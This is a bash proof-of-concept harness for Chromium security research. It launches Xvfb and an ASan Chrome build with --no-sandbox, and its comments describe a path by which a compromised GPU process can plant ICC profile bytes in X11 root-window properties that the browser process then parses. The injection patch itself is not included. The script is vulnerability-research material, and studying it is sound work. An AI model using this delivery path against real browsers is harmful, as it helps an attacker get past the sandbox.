#!/bin/bash
# POC runner: GPU-process -> browser-process ICC delivery via X11 root window
# properties (_ICC_PROFILE / _NET_WORKAREA).
#
# 1. Starts Xvfb on :99.
# 2. Launches Chrome (X11 ozone) so the browser process selects PropertyChange
#    on the root window and the GPU process is spawned with a pre-sandbox X11
#    socket.
# 3. The GPU-side injection (chromium-changes.patch) writes _ICC_PROFILE with a
#    "GPU!" marker and then _NET_WORKAREA, both *after* seccomp engagement.
# 4. The browser process receives PropertyNotify(_NET_WORKAREA), refreshes the
#    display list, reads back the GPU-planted _ICC_PROFILE bytes and feeds them
#    into gfx::ICCProfile::FromData -> moxcms/skcms.
#
# Look for "<<< GPU-PLANTED ICC RECEIVED >>>" and
# "<<< GPU-PLANTED ICC PARSED >>>" in the output.
set -u

CHROME=${CHROME:-/chromium/chromium/src/out/asan/chrome}
XVFB_WRAPPER=${XVFB_WRAPPER:-/tmp/xvfb-install/start-xvfb.sh}
DISPLAY_NUM=${DISPLAY_NUM:-:99}
PROFILE_DIR=/tmp/chrome-poc-profile
TIMEOUT_S=${TIMEOUT_S:-25}

cleanup() {
  kill $XVFB_PID 2>/dev/null
  kill $DBUS_PID 2>/dev/null
  rm -f /tmp/.X${DISPLAY_NUM#:}-lock /tmp/.X11-unix/X${DISPLAY_NUM#:} 2>/dev/null
}
trap cleanup EXIT

# --- dbus session (avoid GLib fork/exec hangs in headless env) ---
eval "$(dbus-daemon --session --print-address=1 --print-pid=1 --fork \
        | { read addr; read pid; echo "export DBUS_SESSION_BUS_ADDRESS='$addr'; DBUS_PID=$pid"; })"
echo "[runner] dbus pid=$DBUS_PID addr=$DBUS_SESSION_BUS_ADDRESS"

# --- Xvfb ---
rm -f /tmp/.X${DISPLAY_NUM#:}-lock /tmp/.X11-unix/X${DISPLAY_NUM#:} 2>/dev/null
"$XVFB_WRAPPER" "$DISPLAY_NUM" -screen 0 1280x800x24 -ac -nolisten tcp +extension RANDR \
    > /tmp/xvfb-poc.log 2>&1 &
XVFB_PID=$!
sleep 2
if ! kill -0 $XVFB_PID 2>/dev/null; then
  echo "[runner] FATAL: Xvfb failed to start"; cat /tmp/xvfb-poc.log; exit 1
fi
echo "[runner] Xvfb pid=$XVFB_PID DISPLAY=$DISPLAY_NUM"
ls -la /tmp/.X11-unix/ | sed 's/^/[runner] /'

# --- Chrome ---
rm -rf "$PROFILE_DIR"
export DISPLAY="$DISPLAY_NUM"
export ASAN_OPTIONS="detect_odr_violation=0:detect_leaks=0:symbolize=1"
echo "[runner] launching Chrome (browser+GPU are separate processes; --no-sandbox"
echo "[runner] is required because this container's own seccomp policy blocks the"
echo "[runner] namespace-sandbox setup; the GPU process is still out-of-process)"
echo "[runner] ----------- CHROME OUTPUT BEGIN -----------"
timeout --signal=TERM --kill-after=10 ${TIMEOUT_S}s "$CHROME" \
  --no-first-run --no-default-browser-check \
  --disable-dev-shm-usage \
  --user-data-dir="$PROFILE_DIR" \
  --ozone-platform=x11 \
  --no-sandbox \
  --enable-logging=stderr --v=0 \
  about:blank 2>&1 | tee /tmp/chrome-full.log \
  | grep --line-buffered -E '\[POC\]|FATAL|ERROR.*sandbox|AddressSanitizer'
echo "[runner] ----------- CHROME OUTPUT END   -----------"
echo ""
echo "[runner] ===== POC SUMMARY ====="
grep -E '\[POC\]' /tmp/chrome-full.log || echo "[runner] NO [POC] LINES FOUND"
echo "[runner] ======================="
